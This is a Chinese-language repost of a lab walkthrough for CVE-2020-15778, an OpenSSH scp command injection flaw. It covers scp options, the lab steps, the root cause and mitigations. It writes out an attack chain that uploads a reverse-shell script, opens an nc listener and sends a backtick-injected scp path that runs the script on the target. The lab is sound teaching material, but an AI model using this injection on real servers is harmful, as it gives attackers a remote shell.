iis服务器助手广告
返回顶部
首页 > 资讯 > 服务器 >CVE-2020-15778 OpenSSH命令注入漏洞
  • 166
分享到

CVE-2020-15778 OpenSSH命令注入漏洞

服务器linuxssh 2023-10-02 17:10:45 166人浏览 安东尼
摘要

预备知识漏洞描述 Openssh8.3p1及之前版本中scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。攻击者可利用scp复制文件到远程服务器时

预备知识
漏洞描述

Openssh8.3p1及之前版本中scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。攻击者可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell

OpenSSH简介

OpenSSH是 SSH(Secure SHell) 协议的免费开源实现。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcpftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。

scp命令简介

scp 是安全拷贝协议(Secure Copy Protocol)的缩写,和众多linux/Unix 使用者所熟知的拷贝(cp)命令一样。scp的使用方式类似于cp 命令,cp命令将一个文件或文件夹从本地操作系统的一个位置(源)拷贝到目标位置(目的),而scp用来将文件或文件夹从网络上的一个主机拷贝到另一个主机当中去。

scp一些基本参数如下:

-B 采取批量模式(避免询问密码或口令)

-C 启用压缩,通过指明-C参数来开启压缩模式。

-c 加密方式,选择在传输过程中用来加密的加密方式 这个选项会被直接传递到ssh。

-F ssh配置,给ssh指定一个用来替代默认配置的配置文件。这个选项会被直接传递到ssh。

-l 限速,限制命令使用的带宽,默认单位是 Kbit/s。

-P 端口,指定需要的连接的远程主机的端口。

注意,这个选项使用的是一个大写的“P”,因为小写的“-p”已经用来保留目标文件的时间和模式相关信息。(ssh命令中使用小写的“-p”来指定目标端口。)

-p 保留文件原来的修改时间,访问时间以及权限模式。

-q 静默模式:不显示来自ssh命令的进度信息,警告和诊断信息。

-r 递归拷贝整个目录。

注意,scp 命令在树形遍历的时候同样会跟随符号连接,复制所连接的文件。

-v 详细模式。scp和ssh将会打印出处理过程中的调试信息。这可以帮助你调试连接、认证和配置方面的问题。

实验目的
scp是secure copy的缩写。在linux系统中,scp用于linux之间复制文件和目录,基于ssh登陆进行安全的远程文件拷贝命令。该命令由openssh的scp.c及其他相关代码实现,通过这次实验你将了解到通过scp进行反弹shell的操作。

实验环境
目标机器:Centos、IP:10.1.1.200

攻击机器:Kali

实验步骤一
确定目标机器是否存在漏洞,测试ssh与scp的使用情况。


1、目标机器查看ssh版本,是否在OpenSSH 8.3p1及之前

在OpenSSH8.3p1及之前说明存在操作系统命令注入漏洞。

2、攻击机器测试ssh与scp的使用情况:


1.txt中为测试内容,这里显示可以使用:
ssh密码:pA2sw0rb

实验步骤二
使用scp进行反弹shell的操作


首先在攻击机上创建一个linux的可执行的文件,并写入一个反弹shell的命令
                                                      
使用scp命令,把该文件上传到目标机器的/tmp下,在tmp录下任何用户都是拥有读、写、执行的权限
scp Rai.sh root@10.1.1.200:/tmp/RAI.sh

在kali上开启监听

nc -vv -lvvp 5555

使用poc远程执行命令

scp zm.sh root@目标地址:'`sh /tmp/zm.sh`'

可以看到我们的shell已经弹回来了

实验步骤三
简述漏洞原理


使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:

scp Filename user@host:directory/Filename

在上述过程中,scp会使用”-t“参数来获取存储传入文件的路径,如下:

scp -t directory/Filename

问题就存在这个地方,也就是如图"scp.c"文件的991行。这个地方未对传入的文件路径进行检测防护,攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时payload将会发送到远程服务器并执行。

修复方案
目前厂商暂未发布修复措施解决此安全问题,等待官方补丁 https://www.openssh.com/

临时修复方案:

1、 加强ssh密码或密钥的保护,周期性更换密码或密钥
2、 使用rsync代替scp

具体实践:

 

 

来源地址:https://blog.csdn.net/yyj1781572/article/details/129964395

--结束END--

本文标题: CVE-2020-15778 OpenSSH命令注入漏洞

本文链接: https://www.lsjlt.com/news/422730.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作